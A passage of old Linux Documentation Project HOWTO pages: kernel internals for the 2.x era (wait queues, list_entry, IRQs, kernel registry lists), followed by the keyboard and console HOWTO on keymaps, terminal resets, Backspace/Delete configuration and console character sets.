 |         | R Access      |
 |         |----------------
 |_________|

2-) Write request from Task Child
 Task Parent
 |         | RW Access  ______
 |         |---------->|Page X|
 |_________|           |______|
                          /|\
                           |
 Task Child                |
 |         | W Access      |
 |         |----------------
 |_________|

3-) Final Configuration: Task Parent and Task Child have an independent copy of the Page, X and Y
 Task Parent
 |         | RW Access  ______
 |         |---------->|Page X|
 |_________|           |______|

 Task Child
 |         | RW Access  ______
 |         |---------->|Page Y|
 |_________|           |______|


KernelAnalysis-HOWTO: 80386 specific details

 Next Previous Contents

11. 80386 specific details

11.1 Boot procedure

bbootsect.s [arch/i386/boot]
setup.S (+video.S)
head.S (+misc.c) [arch/i386/boot/compressed]
start_kernel [init/main.c]

11.2 80386 (and more) Descriptors

Overview

Descriptors are data structure used by Intel microprocessor i386+ to virtualize memory.

Kind of descriptors

  • GDT (Global Descriptor Table)
  • LDT (Local Descriptor Table)
  • IDT (Interrupt Descriptor Table)


KernelAnalysis-HOWTO: IRQ

 Next Previous Contents

12. IRQ

12.1 Overview

IRQ is an asyncronous signal sent to microprocessor to advertise a requested work is completed

12.2 Interaction schema

                                 |<-->  IRQ(0) [Timer]
                                 |<-->  IRQ(1) [Device 1]
                                 | ..
                                 |<-->  IRQ(n) [Device n]
    _____________________________|
     /|\      /|\          /|\
      |        |            |
     \|/      \|/          \|/

    Task(1)  Task(2) ..   Task(N)

             IRQ - Tasks Interaction Schema

What happens?

A typical O.S. uses many IRQ signals to interrupt normal process execution and does some housekeeping work. So:

  1. IRQ (i) occurs and Task(j) is interrupted
  2. IRQ(i)_handler is executed
  3. control backs to Task(j) interrupted

Under Linux, when an IRQ comes, first the IRQ wrapper routine (named "interrupt0x??") is called, then the "official" IRQ(i)_handler will be executed. This allows some duties like timeslice preemption.


KernelAnalysis-HOWTO: Utility functions

 Next Previous Contents

13. Utility functions

13.1 list_entry [include/linux/list.h]

Definition:

#define list_entry(ptr, type, member) \
((type *)((char *)(ptr)-(unsigned long)(&((type *)0)->member)))

Meaning:

"list_entry" macro is used to retrieve a parent struct pointer, by using only one of internal struct pointer.

Example:

struct __wait_queue {
   unsigned int flags;
   struct task_struct * task;
   struct list_head task_list;
};
struct list_head {
   struct list_head *next, *prev;
};

// and with type definition:
typedef struct __wait_queue wait_queue_t;

// we'll have
wait_queue_t *out list_entry(tmp, wait_queue_t, task_list);

// where tmp point to list_head

So, in this case, by means of *tmp pointer [list_head] we retrieve an *out pointer [wait_queue_t].

 ____________ <---- *out [we calculate that]
|flags       |             /|\
|task *-->   |              |
|task_list   |<----    list_entry
|  prev * -->|    |         |
|  next * -->|    |         |
|____________|    ----- *tmp [we have this]

13.2 Sleep

Sleep code

Files:

  • kernel/sched.c
  • include/linux/sched.h
  • include/linux/wait.h
  • include/linux/list.h

Functions:

  • interruptible_sleep_on
  • interruptible_sleep_on_timeout
  • sleep_on
  • sleep_on_timeout

Called functions:

  • init_waitqueue_entry
  • __add_wait_queue
  • list_add
  • __list_add
  • __remove_wait_queue

InterCallings Analysis:

|sleep_on
   |init_waitqueue_entry  --
   |__add_wait_queue        |   enqueuing request to resource list
      |list_add              |
         |__list_add        --
   |schedule              ---     waiting for request to be executed
      |__remove_wait_queue --
      |list_del              |   dequeuing request from resource list
         |__list_del        --

Description:

Under Linux each resource (ideally an object shared between many users and many processes), , has a queue to manage ALL tasks requesting it.

This queue is called "wait queue" and it consists of many items we'll call the"wait queue element":

***   wait queue structure [include/linux/wait.h]  ***

struct __wait_queue {
   unsigned int flags;
   struct task_struct * task;
   struct list_head task_list;
}
struct list_head {
   struct list_head *next, *prev;
};

Graphic working:

        ***  wait queue element  ***

                             /|\
                              |
       <--[prev *, flags, task *, next *]-->

                 ***  wait queue list ***

          /|\           /|\           /|\                /|\
           |             |             |                  |
--> <--[task1]--> <--[task2]--> <--[task3]--> .... <--[taskN]--> <--
|                                                                  |
|__________________________________________________________________|

              ***   wait queue head ***

       task1 <--[prev *, lock, next *]--> taskN

"wait queue head" point to first (with next *) and last (with prev *) elements of the "wait queue list".

When a new element has to be added, "__add_wait_queue" [include/linux/wait.h] is called, after which the generic routine "list_add" [include/linux/wait.h], will be executed:

***   function list_add [include/linux/list.h]  ***

// classic double link list insert
static __inline__ void __list_add (struct list_head * new,  \
                                   struct list_head * prev, \
                                   struct list_head * next) {
   next->prev = new;
   new->next = next;
   new->prev = prev;
   prev->next = new;
}

To complete the description, we see also "__list_del" [include/linux/list.h] function called by "list_del" [include/linux/list.h] inside "remove_wait_queue" [include/linux/wait.h]:

***   function list_del [include/linux/list.h]  ***

// classic double link list delete
static __inline__ void __list_del (struct list_head * prev, struct list_head * next) {
   next->prev = prev;
   prev->next = next;
}

Stack consideration

A typical list (or queue) is usually managed allocating it into the Heap (see Cap.10 for Heap and Stack definition and about where variables are allocated). Otherwise here, we statically allocate Wait Queue data in a local variable (Stack), then function is interrupted by scheduling, in the end, (returning from scheduling) we'll erase local variable.

  new task <----|          task1 <------|          task2 <------|
                |                       |                       |
                |                       |                       |
|..........|    |       |..........|    |       |..........|    |
|wait.flags|    |       |wait.flags|    |       |wait.flags|    |
|wait.task_|____|       |wait.task_|____|       |wait.task_|____|
|wait.prev |-->         |wait.prev |-->         |wait.prev |-->
|wait.next |-->         |wait.next |-->         |wait.next |-->
|..        |            |..        |            |..        |
|schedule()|            |schedule()|            |schedule()|
|..........|            |..........|            |..........|
|__________|            |__________|            |__________|

   Stack                   Stack                   Stack


KernelAnalysis-HOWTO: Static variables

 Next Previous Contents

14. Static variables

14.1 Overview

Linux is written in ''C'' language, and as every application has:

  1. Local variables
  2. Module variables (inside the source file and relative only to that module)
  3. Global/Static variables present in only 1 copy (the same for all modules)

When a Static variable is modified by a module, all other modules will see the new value.

Static variables under Linux are very important, cause they are the only kind to add new support to kernel: they typically are pointers to the head of a list of registered elements, which can be:

  • added
  • deleted
  • maybe modified

                           _______      _______      _______
Global variable  -------> |Item(1)| -> |Item(2)| -> |Item(3)|  ..
                          |_______|    |_______|    |_______|

14.2 Main variables

Current

                           ________________
Current ----------------> | Actual process |
                          |________________|

Current points to ''task_struct'' structure, which contains all data about a process like:

  • pid, name, state, counter, policy of scheduling
  • pointers to many data structures like: files, vfs, other processes, signals...

Current is not a real variable, it is

static inline struct task_struct * get_current(void) {
   struct task_struct *current;
   __asm__("andl %%esp,%0; ":"=r" (current) : "0" (~8191UL));
   return current;
}
#define current get_current()

Above lines just takes value of ''esp'' register (stack pointer) and get it available like a variable, from which we can point to our task_struct structure.

From ''current'' element we can access directly to any other process (ready, stopped or in any other state) kernel data structure, for example changing STATE (like a I/O driver does), PID, presence in ready list or blocked list, etc.

Registered filesystems

                       ______      _______      ______
file_systems  ------> | ext2 | -> | msdos | -> | ntfs |
 [fs/super.c]         |______|    |_______|    |______|

When you use command like ''modprobe some_fs'' you will add a new entry to file systems list, while removing it (by using ''rmmod'') will delete it.

Mounted filesystems

                        ______      _______      ______
mount_hash_table  ---->|   /  | -> | /usr  | -> | /var |
[fs/namespace.c]       |______|    |_______|    |______|

When you use ''mount'' command to add a fs, the new entry will be inserted in the list, while an ''umount'' command will delete the entry.

Registered Network Packet Type

                        ______      _______      ______
     ptype_all  ------>|  ip  | -> |  x25  | -> | ipv6 |
[net/core/dev.c]       |______|    |_______|    |______|

For example, if you add support for IPv6 (loading relative module) a new entry will be added in the list.

Registered Network Internet Protocol

                          ______      _______      _______
inet_protocol_base ----->| icmp | -> |  tcp  | -> |  udp  |
[net/ipv4/protocol.c]    |______|    |_______|    |_______|

Also others packet type have many internal protocols in each list (like IPv6).

                          ______      _______      _______
inet6_protos ----------->|icmpv6| -> | tcpv6 | -> | udpv6 |
[net/ipv6/protocol.c]    |______|    |_______|    |_______|

Registered Network Device

                          ______      _______      _______
dev_base --------------->|  lo  | -> |  eth0 | -> |  ppp0 |
[drivers/core/Space.c]   |______|    |_______|    |_______|

Registered Char Device

                          ______      _______      ________
chrdevs ---------------->|  lp  | -> | keyb  | -> | serial |
[fs/devices.c]           |______|    |_______|    |________|

''chrdevs'' is not a pointer to a real list, but it is a standard vector.

Registered Block Device

                          ______      ______      ________
bdev_hashtable --------->|  fd  | -> |  hd  | -> |  scsi  |
[fs/block_dev.c]         |______|    |______|    |________|

''bdev_hashtable'' is an hash vector.


KernelAnalysis-HOWTO: Glossary

 Next Previous Contents

15. Glossary


KernelAnalysis-HOWTO: Links

 Next Previous Contents

16. Links

Official Linux kernels and patches download site

Great documentation about Linux Kernel

Official Kernel Mailing list

Linux Documentation Project Guides


The Linux keyboard and console HOWTO

Andries Brouwer, aeb@cwi.nl

v2.12, 2001-09-21

This note contains some information about the Linux keyboard and console, and the use of non-ASCII characters. It describes Linux 2.0.

1. Useful programs

2. Keyboard generalities

3. Console generalities

4. Resetting your terminal

  • 4.1 Keyboard hardware reset

5. Delete and Backspace

  • 5.1 How to tell Unix what character you want to use to delete the last typed character
  • 5.2 How to tell Linux what code to generate when a key is pressed
  • 5.3 How to tell X to interchange Delete and Backspace
  • 5.4 How to tell emacs what to do when it receives a Delete or Backspace
  • 5.5 How to tell emacs to interchange Delete and Backspace
  • 5.6 How to tell kermit to interchange Delete and Backspace
  • 5.7 How to tell xterm to interchange Delete and Backspace
  • 5.8 How to tell xterm about your favourite tty modes
  • 5.9 How to tell non-Motif X applications that the Del key deletes forward
  • 5.10 How to tell xmosaic that the Backspace key generates a DEL
  • 5.11 A better solution for Motif-using programs, like netscape
  • 5.12 What about termcap and terminfo?
  • 5.13 A complete solution

6. The console character sets

7. Console switching

  • 7.1 Changing the number of Virtual Consoles

8. Ctrl-Alt-Del and other special key combinations

  • 8.1 Ctrl-Alt-Del (Boot)
  • 8.2 Other combinations
  • 8.3 X Combinations
  • 8.4 Dosemu Combinations
  • 8.5 Composing symbols
  • 8.6 The SysRq key
  • 8.7 Problems

9. How to get out of raw mode

10. The keyboard LEDs

11. The TERM variable

  • 11.1 Terminfo

12. How to make other programs work with non-ASCII chars

13. X

  • 13.1 What precisely does XFree86-2.1 do when it initializes its keymap?

14. Unusual keys and keyboards

15. Examples of use of loadkeys and xmodmap

  • 15.1 `I can use only one finger to type with'
  • 15.2 Sticky keys under X

16. Changing the video mode

  • 16.1 Instructions for the use of resizecons

17. Changing the keyboard repeat rate

18. Scrolling

19. Screensaving

20. Screen dumps

21. Some properties of the VT100 - application key mode

22. Hardware incompatibility

23. Copyright


The Linux keyboard and console HOWTO: Useful programs

 Next Previous Contents

1. Useful programs

The following packages contain keyboard or console related programs.

kbd-1.06.tar.gz contains loadkeys, dumpkeys, showkey, setmetamode, setleds, setfont, showfont, mapscrn, kbd_mode, kbdrate, loadunimap, chvt, resizecons, deallocvt, getkeycodes, setkeycodes. It also contains openvt, formerly called open.

There exists a clone of the kbd package, namely console-tools, that contains more or less the same stuff. The latest version, console-tools-0.3.3 is roughly up-to-date with kbd-0.99.

SVGATextMode-1.10 contains SVGATextMode, a program that obsoletes resizecons.

util-linux-2.11 contains setterm, kbdrate.

sh-utils-1.12 contains stty.

See also dynamic-vc-1.2.tar.gz and consd-1.3.tgz for programs that exploit the `Keyboard Signal' key. Very primitive versions are spawn_login or spawn_console found in the kbd package.

See font.tgz for a package that handles console fonts.

Packages like recode and konwert-1.8 allow one to convert between different character encodings.

The X distribution contains xmodmap, xset, kbd_mode. (See also X386keybd(1) for the situation under XFree86 1.3, and Xserver(1) for the XKEYBOARD extension under X11R6.) A handy interface to xmodmap is xkeycaps, see http://www.jwz.org/xkeycaps/.

termcap-2.0.8.tar.gz contains termcap, an old terminal capabilities data base. ncurses-1.9.9e.tar.gz contains the termlib data base which obsoletes termcap. (However, there are still many programs using termcap.)

See loadkeys(1), setleds(1) and setmetamode(1) for the codes generated by the various keys and the setting of leds when not under X. Under X, see xmodmap(1) and xset(1).

See setfont(8) for loading console fonts. Many people will want to load a font like iso01.f16 because the default font is the hardware font of the video card, and often is a `Code Page 437' font missing accented characters and other Latin-1 symbols.

See setterm(1) and kbdrate(8) for properties such as foreground and background colors, screen blanking and character repeat rate when not under X. Under X, see xset(1), also for key click and bell volume.

The file /etc/termcap defines the escape sequences used by many programs addressing the console (or any other terminal). See termcap(5). A more modern version is found in /usr/lib/terminfo. See terminfo(5). Terminfo files are compiled by the terminfo compiler /usr/lib/terminfo/tic, see tic(1). Their contents can be examined using the program infocmp, see infocmp(1).

The Linux console sequences are documented in console_codes(4).


The Linux keyboard and console HOWTO: Keyboard generalities

 Next Previous Contents

2. Keyboard generalities

You press a key, and the keyboard controller sends scancodes to the kernel keyboard driver. Some keyboards can be programmed, but usually the scancodes corresponding to your keys are fixed. The kernel keyboard driver just transmits whatever it receives to the application program when it is in scancode mode, like when X is running. Otherwise, it parses the stream of scancodes into keycodes, corresponding to key press or key release events. (A single key press can generate up to 6 scancodes.) These keycodes are transmitted to the application program when it is in keycode mode (as used, for example, by showkey and some X servers). Otherwise, these keycodes are looked up in the keymap, and the character or string found there is transmitted to the application, or the action described there is performed. (For example, if one presses and releases the a key, then the keyboard produces scancodes 0x1e and 0x9e, this is converted to keycodes 30 and 158, and then transmitted as 0141, the ASCII or latin-1 code for `a'; if one presses and releases Delete, then the keyboard produces scancodes 0xe0 0x53 0xe0 0xd3, these are converted to keycodes 111 and 239, and then transmitted as the 4-symbol sequence ESC [ 3 ~, all assuming a US keyboard and a default keymap. An example of a key combination to which an action is assigned is Ctrl-Alt-Del.)

The translation between unusual scancodes and keycodes can be set using the utility setkeycodes - only few people will need it. The translation between keycodes and characters or strings or actions, that is, the keymap, is set using the utilities loadkeys and setmetamode. For details, see getkeycodes(8), setkeycodes(8), dumpkeys(1), loadkeys(1), setmetamode(1). The format of the files output by dumpkeys and read by loadkeys is described in keymaps(5).

Where it says `transmitted to the application' in the above description, this really means `transmitted to the terminal driver'. That is, further processing is just like that of text that comes in over a serial line. The details of this processing are set by the program stty.


The Linux keyboard and console HOWTO: Console generalities

 Next Previous Contents

3. Console generalities

Conversely, when you output something to the console, it first undergoes the standard tty processing, and then is fed to the console driver. The console driver emulates a VT100, and parses the input in order to recognize VT100 escape sequences (for cursor movement, clear screen, etc.). The characters that are not part of an escape sequence are first converted into Unicode, using one of four mapping tables if the console was not in UTF-8 mode to start with, then looked up in the table describing the correspondence between Unicode values and font positions, and the obtained 8- or 9-bit font indices are then written to video memory, where they cause the display of character shapes found in the video card's character ROM. One can load one's own fonts into character ROM using setfont. The obsolete programs loadunimap and mapscrn can be used to manipulate the Unicode map belonging to the font, or the mapping table of the console. More details will be given below.

There are many consoles (called Virtual Consoles or Virtual Terminals, abbreviated VCs or VTs) that share the same screen. You can use them as independent devices, either to run indendent login sessions, or just to send some output to, perhaps from top, or the tail of the system log or so. See below (`Console switching') on how to set them up and switch between them.


The Linux keyboard and console HOWTO: Resetting your terminal

 Next Previous Contents

4. Resetting your terminal

There is garbage on the screen, or all your keystrokes are echoed as line drawing characters. What to do?

Many programs will redraw the screen when Ctrl-L is typed. This might help when there is some modem noise or broadcast message on your screen. The command clear will clear the screen.

The command reset will reset the console driver. This helps when the screen is full of funny graphic characters, and also if it is reduced to the bottom line. If you don't have this command, or if it does something else, make your own by putting the following two lines in an executable file reset in your PATH:

        #!/bin/sh
        echo -e \\033c
that is, you want to send the two characters ESC c to the console.

Why is it that the display sometimes gets confused and gives you a 24-line or 1-line screen, instead of the usual 25 lines? Well, the main culprit is the use of TERM=vt100 (or some other entry with 24 lines) instead of TERM=linux when logged in remotely. If this happens on /dev/tty2 then typing

        % cat > /dev/tty2
        ^[c
        ^D
on some other VT (where 4 symbols are typed to cat: ESC, c, ENTER, Ctrl-D) and refreshing the screen on /dev/tty2 (perhaps using Ctrl-L) will fix things. Of course the permanent fix is to use the right termcap or terminfo entry. A command that only changes the number of lines is
        % echo -e "\033[1;25r"

Why is it that you sometimes get a lot of line-drawing characters, e.g., after catting a binary to the screen? Well, there are various character set changing escape sequences, and by accident your binary might contain some of these. The ESC c is a general reset, a cure for all, but if you know precisely what went wrong you can repair it without resetting other console attributes. For example, after

        % cat
        ^N
        ^D
your shell prompt will be all line-drawing characters. Now do (typing blindly)
        % cat
        ^O
        ^D
and all is well again. (Three symbols typed to each cat: Ctrl-N (or Ctrl-O), ENTER, Ctrl-D.) To understand what is happening, see `The console character sets' below.

If you loaded some strange font, and want to return to the default,

        % setfont
will do (provided you stored the default font in the default place). If this default font does not contain an embedded Unicode map (and gives the wrong symbols for accented characters), then say
        % loadunimap
For example, if I do
        % loadkeys de-latin1
then I have a German keyboard, and the key left of the Enter key gives me a-umlaut. This works, because the a-umlaut occurs on the CP437 code page and the kernel Unicode map is initialized to CP437, and my video card has a CP437 font built-in. If I now load an ISO 8859-1 font with
        % setfont iso01.f16
then everything still works, because setfont invalidates the kernel Unicode map (if there is no Unicode map attached to the font), and without map the kernel goes directly to the font, and that is precisely correct for an ISO 8859-1 system with iso01.f16 font. But going back to the previous font with
        % setfont
gives capital Sigma's instead of a-umlaut - all accented letters are mixed up because also this font has no embedded Unicode map. After
        % loadunimap
which loads the default Unicode map (which is right for the default font) all works correctly again. Usually loadunimap is not invoked directly, but via setfont. Thus, the previous two commands may be replaced by
        % setfont -u def
These days most fonts have embedded Unicode maps (often this is indicated by the extension .psfu), and none of this nonsense is needed anymore.

On very old terminals output involving tabs may require a delay, and you have to say

        % stty tab3
(see stty(1)).

You can change the video mode using resizecons or SVGATextMode. Or by rebooting and having "vga=ask" in the LILO configuration file.

This usually settles the output side.

On the input side there are many things that might be wrong. If X or DOOM or some other program using raw mode crashed, your keyboard may still be in raw (or mediumraw) mode, and it is difficult to give commands. (See "How to get out of raw mode" below.) If you loaded a bad keymap, then

        % loadkeys -d
loads the default map again, but it may well be difficult to type `-'! An alternative is
        % loadkeys defkeymap
Sometimes even the letters are garbled. It is useful to know that there are four main types of keyboards: QWERTY, QWERTZ, AZERTY and DVORAK. The first three are named after the first six letter keys, and roughly represent the English, German and French speaking countries. Compared to QWERTY, the QWERTZ map interchanges Y and Z. Compared to QWERTY, the AZERTY map interchanges Q and A, W and Z, and has its M right of the L, at the semicolon position. DVORAK has an entirely different letter ordering. There are two types of Turkish keyboard. The so-called `Q'-keyboard has a QWERTY layout, while the `F'-keyboard has an entirely different layout, let us say fgGIod, where G stands for Gbreve and I for dotlessi.

4.1 Keyboard hardware reset

Things may be wrong on a lower level than Linux knows about. There are at least two distinct lower levels (keyboard and keyboard controller) where one can give the command "keyboard disable" to the keyboard hardware. Keyboards can often be programmed to use one out of three different sets of scancodes.

However, I do not know of cases where this turned out to be a problem.

Some keyboards have a remapping capability built in. Stormy Henderson (stormy@Ghost.Net) writes: `If it's your keyboard accidently being reprogrammed, you can (on a Gateway AnyKey keyboard) press control-alt-suspend_macro to reset the keys to normal.'


The Linux keyboard and console HOWTO: Delete and Backspace

 Next Previous Contents

5. Delete and Backspace

Getting Delete and Backspace to work just right is nontrivial, especially in a mixed environment, where you talk to console, to X, to bash, to emacs, login remotely, etc. You may have to edit several configuration files to tell all of the programs involved precisely what you want. On the one hand, there is the matter of which keys generate which codes (and how these codes are remapped by e.g. kermit or emacs), and on the other hand the question of what functions are bound to what codes.

People often complain `my backspace key does not work', as if this key had a built-in function `delete previous character'. Unfortunately, all this key, or any key, does is producing a code, and one only can hope that the kernel tty driver and all application programs can be configured such that the backspace key indeed does function as a `delete previous character' key.

Most Unix programs get their tty input via the kernel tty driver in `cooked' mode, and a simple stty command determines the erase character. However, programs like bash and emacs and X do their own input handling, and have to be convinced one-by-one to do the right thing.

5.1 How to tell Unix what character you want to use to delete the last typed character

        % stty erase ^?
If the character is erased, but in a funny way, then something is wrong with your tty settings. If echoprt is set, then erased characters are enclosed between \ and /. If echoe is not set, then the erase char is echoed (which is reasonable when it is a printing character, like #). Most people will want stty echoe -echoprt. Saying stty sane will do this and more. Saying stty -a shows your current settings. How come this is not right by default? It is, if you use the right getty.

Note that many programs (like bash, emacs etc.) have their own keybindings (defined in ~/.inputrc, ~/.emacs etc.) and are unaffected by the setting of the erase character.

The standard Unix tty driver does not recognize a cursor, or keys (like the arrow keys) to move the current position, and hence does not have a command `delete current character' either. But for example you can get bash on the console to recognize the Delete key by putting

        set editing-mode emacs
        "\e[3~":delete-char
into ~/.inputrc.

`Getty used to do the right thing with DEL and BS but is broken now?'

Earlier, the console driver would do BS Space BS (\010\040\010) when it got a DEL (\177). Nowadays, DEL's are ignored (as they should be, since the driver emulates a vt100). Get a better getty, i.e., one that does not output DEL.

`Login behaves differently at the first and second login attempts?'

At the first attempt, you are talking to getty. At the second attempt, you are talking to login, a different program.

5.2 How to tell Linux what code to generate when a key is pressed

On the console, or, more precisely, when not in (MEDIUM)RAW mode, use

        % loadkeys mykeys.map
and under X use
        % xmodmap mykeys.xmap
Note that (since XFree86-2.1) X reads the Linux settings of the keymaps when initialising the X keymap. Although the two systems are not 100% compatible, this should mean that in many cases the use of xmodmap has become superfluous.

For example, suppose that you would like the Backspace key to send a BackSpace (Ctrl-H, octal 010) and the grey Delete key a DEL (octal 0177). Add the following to /etc/rc.local (or wherever you keep your local boot-time stuff):

        /usr/bin/loadkeys << EOF
        keycode 14 = BackSpace
        keycode 111 = Delete
        EOF
Note that this will only change the function of these keys when no modifiers are used. (You need to specify a keymaps line to tell which keymaps should be affected if you want to change bindings on more keymaps.) The Linux kernel default lets Ctrl-Backspace generate BackSpace - this is sometimes useful as emergency escape, when you find you can only generate DELs.

The left Alt key is sometimes called the Meta key, and by default the combinations AltL-X are bound to the symbol MetaX. But what character sequence is MetaX? That is determined (per-tty) by the Meta flag, set by the command setmetamode. The two choices are: ESC X or X or-ed with 0200.

Many distributions have a loadkeys command somewhere in the bootup sequence. For example, one may have the name of the desired keymap in /etc/sysconfig/keyboard and the loadkeys command that loads it in /etc/rc.d/init.d/keytable. Or one may have the actual default keymap in /etc/default.keytab and the loadkeys command that loads it in /etc/rc.d/boot. Etc. Instead of adding a local modification to the default, one can of course change the default by editing the default keymap or changing the name of the keymap to be loaded at boot time. Note that loadkeys itself has default keymap defkeymap.map located somewhere under /usr/lib/kbd or /usr/share/kbd (just like all other keymaps) and this may not yet be available in single user boot before /usr has been mounted.

`How do I get a dvorak keyboard?'

The command

        % loadkeys dvorak
will give you a dvorak layout, probably by loading something like /usr/lib/kbd/keymaps/i386/dvorak/dvorak.map.gz. Under X, put
        XkbLayout       "dvorak"
in XF86Config.

`Why doesn't the Backspace key generate BackSpace by default?'

(i) Because the VT100 had a Delete key above the Enter key.

(ii) Because Linus decided so.

5.3 How to tell X to interchange Delete and Backspace

        % xmodmap -e "keysym BackSpace = Delete" -e "keysym Delete = BackSpace"
Or, if you just want the Backspace key to generate a BackSpace:
        % xmodmap -e "keycode 22 = BackSpace"
Or, if you just want the Delete key to generate a Delete:
        % xmodmap -e "keycode 107 = Delete"
(but usually this is the default binding already).

5.4 How to tell emacs what to do when it receives a Delete or Backspace

Put in your .emacs file lines like

        (global-set-key "\?" 'help-command)
        (global-set-key "\C-h" 'delete-backward-char)
Of course you can bind other commands to other keys in the same way. Note that various major and minor modes redefine keybindings. For example, in incremental search mode one finds the code
        (define-key map "\177" 'isearch-delete-char)
        (define-key map "\C-h" 'isearch-mode-help)
This means that it may be a bad idea to use the above two global-set-key commands. There are too many places where there are built-in assumptions about Ctrl-H = help and DEL = delete. That doesn't mean that you have to setup keys so that Backspace generates DEL. But if it doesn't then it is easiest to remap them at the lowest possible level in emacs.

5.5 How to tell emacs to interchange Delete and Backspace

Put in your .emacs file lines

        (setq keyboard-translate-table (make-string 128 0))
        (let ((i 0))
          (while (< i 128)
            (aset keyboard-translate-table i i)
            (setq i (1+ i))))
        (aset keyboard-translate-table ?\b ?\^?)
        (aset keyboard-translate-table ?\^? ?\b)
Recent versions of emacs have a function keyboard-translate and one may simplify the above to
        (keyboard-translate ?\C-h ?\C-?)
        (keyboard-translate ?\C-? ?\C-h)
Note that under X emacs can distinguish between Ctrl-h and the Backspace key (regardless of what codes these produce on the console), and by default emacs will view the Backspace key as DEL (and do deletion things, as bound to that character, rather than help things, bound to Ctrl-H). One can distinguish Backspace and Delete, e.g. by
        (global-unset-key [backspace] )
        (global-set-key [backspace] 'delete-backward-char)
        (global-unset-key [delete] )
        (global-set-key [delete] 'delete-char)

5.6 How to tell kermit to interchange Delete and Backspace

Put in your .kermrc file the lines

        set key \127 \8
        set key \8 \127

5.7 How to tell xterm to interchange Delete and Backspace

XTerm*VT100.Translations:       #override\n\
        <KeyPress> BackSpace : string(0x7f)\n\
        <KeyPress> Delete : string(0x08)\n

5.8 How to tell xterm about your favourite tty modes

Normally xterm will inherit the tty modes from its invoker. Under xdm, the default erase and kill characters are # and @, as in good old Unix Version 6. If you don't like that, you might put something like

        XTerm*ttymodes: erase ^? kill ^U intr ^C quit ^\ eof ^D \
                        susp ^Z start ^Q stop ^S eol ^@
in /usr/lib/X11/app-defaults/XTerm or in $HOME/.Xresources, assuming that you have a line
        xrdb -merge $HOME/.Xresources
in your $HOME/.xinitrc or $HOME/.xsession.

5.9 How to tell non-Motif X applications that the Del key deletes forward

Put

*Text.translations:    #override \
        ~Shift ~Meta <Key>Delete: delete-next-character()
into .Xresources to make non-Motif X applications such as xfig, xedit, etc., work correctly. (Daniel T. Cobra)

5.10 How to tell xmosaic that the Backspace key generates a DEL

Putting

        *XmText.translations: #override\n\
           <Key>osfDelete: delete-previous-character()
        *XmTextField.translations: #override\n\
           <Key>osfDelete: delete-previous-character()
in your $HOME/.Xdefaults or $HOME/.Xresources helps. (What file? The file that is fed to xrdb, for example in .xinitrc.)

The netscape FAQ, however, says:

        Why doesn't my Backspace key work in text fields?
        By default, Linux and XFree86 come with the Backspace and Delete keys
        misconfigured. All Motif programs (including, of course, Netscape
        Navigator) will malfunction in the same way.

        The Motif spec says that Backspace is supposed to delete the previous
        character and Delete is supposed to delete the following character.
        Linux and XFree86 come configured with both the Backspace and Delete
        keys generating Delete.

        You can fix this by using any one of the xmodmap, xkeycaps, or
        loadkeys programs to make the key in question generate the BackSpace
        keysym instead of Delete.

        You can also fix it by having a .motifbind file; see the man page
        for VirtualBindings(3).

        Note: Don't use the *XmText.translations or *XmTextField.translations
        resources to attempt to fix this problem. If you do, you will blow
        away Netscape Navigator's other text-field key bindings.

5.11 A better solution for Motif-using programs, like netscape

Ted Kandell (ted@tcg.net) suggests the following:

Somewhere in your .profile add the following:

stty erase ^H
If you are using bash, add the following lines to your .inputrc:
"\C-?": delete-char
"\C-h": backward-delete-char
Add the following lines to your .xinitrc file:
xmodmap <<-EOF
keycode 22  =  BackSpace osfBackSpace
keycode 107 =  Delete
EOF

# start your window manager here,  for example:
#(fvwm) 2>&1 | tee /dev/tty /dev/console

stty sane
stty erase ^H
loadmap <<-EOF
keycode 14  = BackSpace
keycode 111 = Delete
EOF

This will definitely work for a PC 101 or 102 key keyboard with any Linux/XFree86 layout.

The important part to making Motif apps like Netscape work properly is adding osfBackSpace to keycode 22 in addition to BackSpace.

Note that there must be spaces on either side of the = sign.

5.12 What about termcap and terminfo?

When people have problems with backspace, they tend to look at their termcap (or terminfo) entry for the terminal, and indeed, there does exist a kb (or kbs) capability describing the code generated by the Backspace key. However, not many programs use it, so unless you are having problems with one particular program only, probably the fault is elsewhere. Of course it is a good idea anyway to correct your termcap (terminfo) entry. See also below under "The TERM variable".

5.13 A complete solution

There are many possibilities to get a functioning system. Can't you give one complete set of settings that works?

One way of getting a setup that works in all contexts is to have the Backspace key generate DEL when on the console (or xterm), and BackSpace when under X. Maybe that is most convenient - there are too many X utilities that expect BackSpace, and emacs on the console or xterm expects DEL, while emacs under X can distinguish [BackSpace] from Ctrl-H and does the right thing.

What is needed? No loadkeys changes, since the Backspace key already generates DEL by default. No stty settings, they are OK by default. No X settings, they are OK by default. One just has to tell xterm that the Backspace key should generate DEL: put

XTerm*VT100.Translations:       #override\n\
        <KeyPress> BackSpace : string(0x7f)\n\
in .Xresources, and
xrdb -merge .Xresources
in .xinitrc, and you are settled.

For a much more extensive discussion of these things, and alternative solutions, see Anne Baretta's page.


The Linux keyboard and console HOWTO: The console character sets

 Next Previous Contents

6. The console character sets

The kernel first tries to figure out what symbol is meant by any given user byte, and next where this symbol is located in the current font.

The kernel knows about 5 translations of bytes into console-screen symbols. In Unicode (UTF-8) mode, the UTF-8 code is just converted directly into Unicode. The assumption is that almost all symbols one needs are present in Unicode, and for the cases where this does not hold the codes 0xf000-0xf1ff are reserved for direct font access. When not in Unicode mode, one of four translation tables is used. The four tables are: a) Latin1 -> Unicode, b) VT100 graphics -> Unicode, c) PC -> Unicode, d) user-defined.

There are two character sets, called G0 and G1, and one of them is the current character set. (Initially G0.) Typing Ctrl-N causes G1 to become current, Ctrl-O causes G0 to become current.

These variables G0 and G1 point at a translation table, and can be changed by the user. Initially they point at tables a) and b), respectively. The sequences ESC ( B and ESC ( 0 and ESC ( U and ESC ( K cause G0 to point at translation table a), b), c) and d), respectively. The sequences ESC ) B and ESC ) 0 and ESC ) U and ESC ) K cause G1 to point at translation table a), b), c) and d), respectively.

The sequence ESC c causes a terminal reset, which is what you want if the screen is all garbled. The oft-advised echo ^V^O will only make G0 current, but there is no guarantee that G0 points at table a). In some distributions there is a program reset(1) that just does echo ^[c. If your termcap entry for the console is correct (and has an entry :rs=\Ec:), then also setterm -reset will work.

The user-defined mapping table can be set using mapscrn(8). The result of the mapping is that if a symbol c is printed, the symbol s = map[c] is sent to the video memory. The bitmap that corresponds to s is found in the character ROM, and can be changed using setfont(8).


The Linux keyboard and console HOWTO: Console switching

 Next Previous Contents

7. Console switching

By default, console switching is done using Alt-Fn or Ctrl-Alt-Fn. Under X (or recent versions of dosemu), only Ctrl-Alt-Fn works. Many keymaps will allow cyclic walks through all allocated consoles using Alt-RightArrow and Alt-LeftArrow.

